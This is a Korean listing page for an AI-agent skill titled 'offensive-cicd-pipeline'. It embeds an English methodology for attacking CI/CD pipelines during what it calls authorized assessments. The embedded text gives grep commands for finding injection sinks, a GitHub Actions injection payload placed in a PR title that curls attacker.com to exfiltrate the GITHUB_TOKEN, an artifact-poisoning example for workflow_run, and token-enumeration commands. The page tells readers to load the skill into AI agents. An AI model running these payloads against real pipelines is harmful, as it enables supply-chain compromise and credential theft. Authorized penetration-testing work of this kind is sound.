offensive-cicd-pipeline
하는 일
이 스킬은 승인된 평가에서 CI/CD 파이프라인을 테스트하는 방법론입니다. GitHub Actions 주입, Jenkins 공격 경로, 빌드 시스템의 공급망 위험을 다룹니다. 빌드 파이프라인이 악용될 수 있는 방식을 검토하는 보안 전문가를 위한 스킬입니다.
사용하는 경우
- ✓승인된 평가에서 GitHub Actions 워크플로의 주입 위험을 테스트할 때.
- ✓서명된 테스트에서 Jenkins 서버의 위험한 스크립트나 자격 증명 노출을 확인하고 싶을 때.
- ✓파이프라인 토큰 범위와 트리거 이벤트를 검토해 공급망 위험을 확인해야 할 때.
스킬 링크
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“CI 파이프라인을 테스트할 승인을 받았습니다. GitHub Actions 워크플로에 주입 위험이 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 파이프라인 구성을 나열하고, 공격자가 제어할 수 있는 이벤트와 입력을 찾으며, 토큰 범위를 매핑합니다. 그다음 테스트하는 접근 수준에 맞는 테스트 방법을 선택합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Offensive CI/CD Pipeline Exploitation
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
Quick Workflow
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
GitHub Actions Expression Injection
GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into run: steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
A vulnerable workflow looks like this:
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
You inject through the PR title:
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the workflow_run workflow processes it with elevated privileges:
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
Enumerate GITHUB_TOKEN permissions to understand your execution scope:
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
Composite action supply chain attacks target reusable actions referenced without SHA pinning:
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Use gato to enumerate a
자주 묻는 질문
어떤 CI/CD 플랫폼을 다루나요?
GitHub Actions, Jenkins, GitLab, Azure를 포함한 주요 파이프라인을 다룹니다.
토큰 과다 범위란 무엇인가요?
파이프라인 토큰이 작업에 필요한 것보다 많은 권한을 가진 경우로, 스킬이 이를 확인합니다.
승인된 테스트에만 쓰나요?
네. 이 스킬은 서면 허가를 받은 평가를 위해 작성되었습니다.
상세 정보
작성자의 원본 설명
Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline ag
repo: SnailSploit/Claude-Red
인기도
- GitHub 스타
- 10k
- 순위
- #11948
- 라이선스
- MIT
- 업데이트
- 2026. 10. 12.
댓글
- …
이 저장소의 다른 스킬
offensive-active-directory
10k에이전트가 승인된 Active Directory 보안 테스트를 계획하도록 돕습니다. 네트워크 매핑부터 Domain Admin까지 가는 공격 경로 찾기까지 포함합니다.
offensive-netexec
10k에이전트가 승인된 네트워크 테스트에 NetExec(nxc) 도구를 사용하도록 돕습니다. 프로토콜, 인증, 자격 증명 점검을 다룹니다.
offensive-api-abuse
10k에이전트가 비즈니스 로직 악용, GraphQL 위험, 경쟁 상태를 찾는 승인된 API 보안 테스트를 계획하도록 돕습니다.
offensive-api-security
10k에이전트가 OWASP API Top 10을 기준으로 REST, gRPC, WebSocket API에 대한 승인된 보안 테스트를 실행하도록 돕습니다.